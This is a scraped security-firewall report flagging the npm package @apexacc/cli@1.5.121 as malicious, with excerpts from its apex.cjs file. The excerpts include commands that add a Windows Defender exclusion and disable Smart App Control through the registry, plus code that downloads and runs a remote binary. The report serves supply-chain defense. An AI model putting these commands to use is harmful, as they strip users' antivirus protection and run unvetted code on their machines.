@apexacc/cli@1.5.121: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

@apexacc/cli@1.5.121: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

apex.cjsView file

1#!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path')

High

Child Process

Package source references child process execution.

apex.cjsView on unpkg · L1

12const { execSync } = require('child_process') L13: execSync(`powershell -Command "Add-MpPreference -ExclusionPath '${ require('os').homedir() }\\.apex' -ErrorAction SilentlyContinue"`, { stdio: 'ignore' }) L14: } catch {}

High

Shell

Package source references shell execution.

apex.cjsView on unpkg · L12

89mkdirSync(join(os.homedir(), '.apex'), { recursive: true }) L90: await download(`https://github.com/${REPO}/releases/download/v${VERSION}/apex-verify-darwin`, verifyPath) L91: require('fs').chmodSync(verifyPath, 0o755) ... L98: ensureBinary().then(() => { L99: const result = spawnSync(BIN_PATH, process.argv.slice(2), { L100: stdio: 'inherit', env: process.env L101: })

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

apex.cjsView on unpkg · L89

1Trigger-reachable persistence chain: manifest.bin -> apex.cjs L1: #!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path') L4: const { existsSync, mkdirSync, createWriteStream } = require('fs') L5: const https = require('https') L6: const os = require('os') ... L9: // Disable Smart App Control and add exclusion on Windows if running as admin L10: if (process.platform === 'win32') { L11: try { L12: const { execSync } = require('child_process') L13: execSync(`powershell -Command "Add-MpPreference -ExclusionPath '${ require('os').homedir() }\\.apex' -ErrorAction SilentlyContinue"`, { stdio: 'ignore' }) L14: } catch {}

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

apex.cjsView on unpkg · L1

•matchType = previous_version_dangerous_delta matchedPackage = @apexacc/cli@1.5.109 matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.5.109 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

apex.cjsView on unpkg

1#!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path') L4: const { existsSync, mkdirSync, createWriteStream } = require('fs') L5: const https = require('https') L6: const os = require('os') ... L9: // Disable Smart App Control and add exclusion on Windows if running as admin L10: if (process.platform === 'win32') { L11: try { L12: const { execSync } = require('child_process') L13: execSync(`powershell -Command "Add-MpPreference -ExclusionPath '${ require('os').homedir() }\\.apex' -ErrorAction SilentlyContinue"`, { stdio: 'ignore' }) L14: } catch {}

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

apex.cjsView on unpkg · L1

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

Source & flagged code

7 flagged

apex.cjsView file

Lines 1-32javascript

1#!/usr/bin/env node

2const { spawnSync } = require('child_process')

3const { join } = require('path')

High

Child Process

Package source references child process execution.

apex.cjsView on unpkg · L1

4const { existsSync, mkdirSync, createWriteStream } = require('fs')

5const https = require('https')

6const os = require('os')

7

8

9// Disable Smart App Control and add exclusion on Windows if running as admin

10if (process.platform === 'win32') {

11 try {

12 const { execSync } = require('child_process')

13 execSync(`powershell -Command "Add-MpPreference -ExclusionPath '${ require('os').homedir() }\\.apex' -ErrorAction SilentlyContinue"`, { stdio: 'ignore' })

14 } catch {}

High

Shell

Package source references shell execution.

apex.cjsView on unpkg · L12

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

apex.cjsView on unpkg · L1

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

apex.cjsView on unpkg · L1

15}

16

17// Disable Smart App Control on Windows if running as admin

18if (process.platform === 'win32') {

19 try {

20 const { execSync } = require('child_process')

21 execSync('reg add "HKLM\\SYSTEM\\CurrentControlSet\\Control\\CI\\Policy" /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f', { stdio: 'ignore' })

22 } catch {}

23}

24

25const REPO = 'Apex-Accelerator/apexcli'

26const VERSION = require('./package.json').releaseVersion || require('./package.json').version

27const isWin = process.platform === 'win32'

28const BIN_DIR = join(os.homedir(), '.apex', 'bin')

29const BIN_PATH = join(BIN_DIR, isWin ? 'apex.exe' : 'apex')

30

31function getPlatformTarget() {

32 const p = process.platform, a = process.arch

Lines 69-107javascript

69

70 const { chmodSync } = require('fs')

71 if (!isWin) chmodSync(BIN_PATH, 0o755)

72

73 // Windows: download native addon

74 if

•matchType = previous_version_dangerous_delta matchedPackage = @apexacc/cli@1.5.109 matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.5.109 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

apex.cjsView on unpkg

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg